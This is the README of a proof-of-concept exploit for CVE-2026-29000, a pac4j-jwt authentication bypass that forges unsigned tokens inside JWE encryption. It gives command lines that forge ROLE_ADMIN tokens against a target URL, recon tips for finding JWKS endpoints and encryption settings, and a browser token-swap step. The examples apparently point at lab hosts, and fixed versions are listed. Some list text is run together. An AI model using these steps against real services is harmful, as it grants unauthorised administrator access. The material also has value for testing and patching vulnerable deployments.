
CVE-2026-29000 PoC: pac4j-jwt PlainJWT-in-JWE authentication bypass.
Proof-of-concept for CVE-2026-29000. Targets pac4j-jwt versions prior to 4.5.9, 5.7.9, and 6.3.3.
The vulnerability is straightforward: the library accepts a PlainJWT (unsigned, alg=none) as long as it's wrapped inside a valid JWE. Since the server exposes its RSA public key through a JWKS endpoint, anyone can encrypt an arbitrary unsigned JWT into a JWE the server will trust — including one with ROLE_ADMIN.
alg=none) with whatever claims you wantThe server decrypts it, trusts the claims inside, and never checks that the inner JWT is unsigned.
Python 3.13+ with uv, or install dependencies manually:
pip install jwcrypto requests
[uv run / python3] CVE-2026-29000.py --url <base_url> --jwks <jwks_path> [options]
Required:
| flag | description |
|---|---|
--url | base URL of the target, e.g. http://10.10.11.x:8080 |
--jwks | path or full URL to the JWKS endpoint |
Optional:
Examples:
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks
python3 exploit.py --url http://10.10.11.x:8080 --jwks /api/auth/jwks --user john --role ROLE_ADMIN
python3 exploit.py --url http://10.10.11.x:8080 --jwks /.well-known/jwks.json --enc A128GCM
Not always obvious. Good places to look:
/robots.txt — often lists restricted or internal paths/api/auth/jwks/.well-known/jwks.json/.well-known/openid-configurationIf the token gets rejected, the app might expect a specific encryption algorithm. Check /static/js/app.js for something like:
const JWE_ALG = "RSA-OAEP-256";
const JWE_ENC = "A128GCM";
Then re-run with --enc A128GCM.
The token storage method is also usually in there:
class TokenManager {
static getToken() {
return sessionStorage.getItem('auth_token');
}
}
If it's sessionStorage, swap the token directly in DevTools under Application > Session Storage.
Fixed in 4.5.9, 5.7.9, and 6.3.3.
| flag | default | description |
|---|
--user | admin | value for the sub claim |
--role | ROLE_ADMIN | role to forge (ROLE_ADMIN, ROLE_MANAGER, ROLE_USER) |
--issuer | principal-platform | value for the iss claim |
--enc | A256GCM | JWE content encryption (A256GCM or A128GCM) |